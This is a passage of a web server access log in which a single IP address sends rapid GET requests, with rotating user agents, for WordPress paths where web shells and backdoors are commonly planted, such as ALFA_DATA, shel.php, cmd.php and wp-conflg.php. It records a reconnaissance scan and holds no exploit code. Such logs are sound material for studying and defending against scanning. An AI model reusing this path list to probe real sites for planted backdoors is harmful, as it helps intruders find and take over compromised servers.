Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:22 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:22 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:25 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:14:28 +0300] "GET /wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:31 +0300] "GET /wp-content/themes/twentytwentythree/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:32 +0300] "GET /private/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:35 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:38 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:41 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:14:44 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:44 +0300] "GET /wp-admin/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:47 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:14:51 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:14:54 +0300] "GET /wp-content/xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:14:57 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:00 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:01 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:04 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:05 +0300] "GET /wp-admin/includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:15:08 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:15:08 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:12 +0300] "GET /wp-includes/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:15 +0300] "GET /about.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:18 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:18 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:19 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:22 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:25 +0300] "GET /wp-content/plugins/elementor/includes/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:28 +0300] "GET /wp-includes/blocks/comments/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:29 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:32 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:35 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:35 +0300] "GET /wp-content/ws29.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:39 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:42 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:42 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:45 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:15:46 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:46 +0300] "GET /wp-admin/network/shel.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:49 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:15:53 +0300] "GET /wp-content/updraft/emptydir/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:15:56 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:15:56 +0300] "GET /wp-content/themes/aounq/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:00 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:00 +0300] "GET /wp-includes/blocks/navigation-submenu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:00 +0300] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:01 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:01 +0300] "GET /wp-active.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:04 +0300] "GET /wp-includes/blocks/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:16:05 +0300] "GET /wp-includes/blocks/post-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:05 +0300] "GET /wp-includes/blocks/categories/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:08 +0300] "GET /wp-includes/blocks/list-item/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:11 +0300] "GET /wp-content/abb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:15 +0300] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:18 +0300] "GET /wp-includes/blocks/tag-cloud/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:21 +0300] "GET /wp-includes/pomo/includ.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:24 +0300] "GET /wp-includes/widgets/class-wp-widget-xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:27 +0300] "GET /wp-includes/assets/script-modules-xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:31 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:16:34 +0300] "GET /wp-includes/blocks/categories/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:37 +0300] "GET /wp-content/themes/celuapuestas-theme/inc/functions/frontend/g0znuk/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:40 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:43 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:16:47 +0300] "GET /wp-admin/css/maintenance.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:50 +0300] "GET /wp-admin/images/wp-ver.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:53 +0300] "GET /wp-content/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:16:56 +0300] "GET /wp-content/themes/twentysixteen/includez.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:16:59 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:03 +0300] "GET /wp-includes/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:06 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:09 +0300] "GET /wp-content/plugins/eu-cookie-law/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:17:12 +0300] "GET /wp-content/plugins/wp-minibar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:17:15 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-social-elf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:19 +0300] "GET /wp-admin/css/colors/ectoplasm/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:22 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:25 +0300] "GET /wp-content/themes/twentytwentyone/template-parts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:25 +0300] "GET /wp-content/uploads/revslider/templates/brutal-menu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:29 +0300] "GET /wp-includes/blocks/page-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:29 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:17:29 +0300] "GET /wp-content/plugins/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:32 +0300] "GET /wp-includes/Requests/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:17:36 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:39 +0300] "GET /wp-content/themes/twentytwentythree/locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:17:42 +0300] "GET /wp-admin/css/colors/light/wxeagnaY.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:45 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:48 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:51 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:17:55 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:17:58 +0300] "GET /wp-includes/blocks/group/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:01 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:04 +0300] "GET /wp-includes/css/dist/customize-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:18:07 +0300] "GET /wp-content/plugins/wordpress-seo/admin/metabox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:10 +0300] "GET /wp-content/plugins/ubermenu/pro/updates/updatechecker/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:18:14 +0300] "GET /wp-content/plugins/elementor/modules/notes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:17 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/classes/icl/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:20 +0300] "GET /wp-content/plugins/advanced-custom-fields-pro/includes/admin/views/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:18:23 +0300] "GET /wp-content/plugins/contact-form-7/includes/submission.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:26 +0300] "GET /wp-admin/css/colors/midnight/test2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:30 +0300] "GET /wp-content/themes/Divi/common/scripts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:18:33 +0300] "GET /wp-admin/network/cache/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:36 +0300] "GET /wp-content/uploads/cpo_temp/services.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:18:39 +0300] "GET /wp-admin/includes/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:18:42 +0300] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:45 +0300] "GET /wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:18:49 +0300] "GET /image/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:52 +0300] "GET /wp-differ1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:18:55 +0300] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:18:58 +0300] "GET /wp-content/plugins/phpadmin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 